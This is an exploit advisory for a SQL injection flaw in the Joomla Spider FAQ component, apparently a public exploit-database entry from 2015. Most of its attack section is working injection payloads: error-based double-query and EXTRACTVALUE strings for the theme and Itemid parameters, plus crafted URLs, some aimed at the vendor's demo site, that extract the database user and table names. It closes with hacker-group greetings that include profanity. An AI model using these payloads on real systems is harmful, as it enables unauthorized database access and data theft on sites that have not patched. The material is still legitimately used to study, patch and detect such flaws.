Joomla Spider FAQ SQL Injection

`##################################################################################################  
#Exploit Title : Joomla Spider FAQ component SQL Injection vulnerability  
#Author : Manish Kishan Tanwar AKA error1046  
#Vendor Link : http://demo.web-dorado.com/spider-faq.html  
#Date : 21/03/2015  
#Discovered at : IndiShell Lab  
#Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Incredible,Kishan Singh and ritu rathi  
#Discovered At : Indishell Lab  
##################################################################################################  
  
////////////////////////  
/// Overview:  
////////////////////////  
  
  
joomla component Spider FAQ is not filtering data in theme and Itemid parameters  
and hence affected from SQL injection vulnerability   
  
///////////////////////////////  
// Vulnerability Description:  
///////////////////////////////  
vulnerability is due to theme and Itemid parameter   
  
////////////////  
/// POC ////  
///////////////  
  
POC image=http://oi57.tinypic.com/2rh1zk7.jpg  
  
SQL Injection in theme parameter  
=================================  
  
Use error based double query injection with theme parameter  
Like error based double query injection for exploiting username --->  
and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -   
  
Injected Link--->  
http://website.com/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4 and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - &searchform=1&expand=0&Itemid=109  
  
  
SQL Injection in Itemid parameter  
=================================  
  
Itemid Parameter is exploitable using xpath injection   
  
User extraction payload  
------------------------  
' AND EXTRACTVALUE(6678,CONCAT(0x7e,(SELECT user() LIMIT 0,1),0x7e))-- -  
  
crafted URL--->  
http://demo.web-dorado.com/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4&searchform=1&expand=0&Itemid=109' AND EXTRACTVALUE(6678,CONCAT(0x7e,(SELECT user() LIMIT 0,1),0x7e))-- -  
  
Table extraction  
-----------------  
' and extractvalue(6678,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e))-- -  
  
Crafted URL---->  
http://demo.web-dorado.com/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4&searchform=1&expand=0&Itemid=109' and extractvalue(6678,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e))-- -  
  
--==[[ Greetz To ]]==--  
############################################################################################  
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,   
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,  
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,  
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash  
#############################################################################################  
--==[[Love to]]==--  
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,  
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik)  
--==[[ Special Fuck goes to ]]==--  
<3 suriya Cyber Tyson <3  
`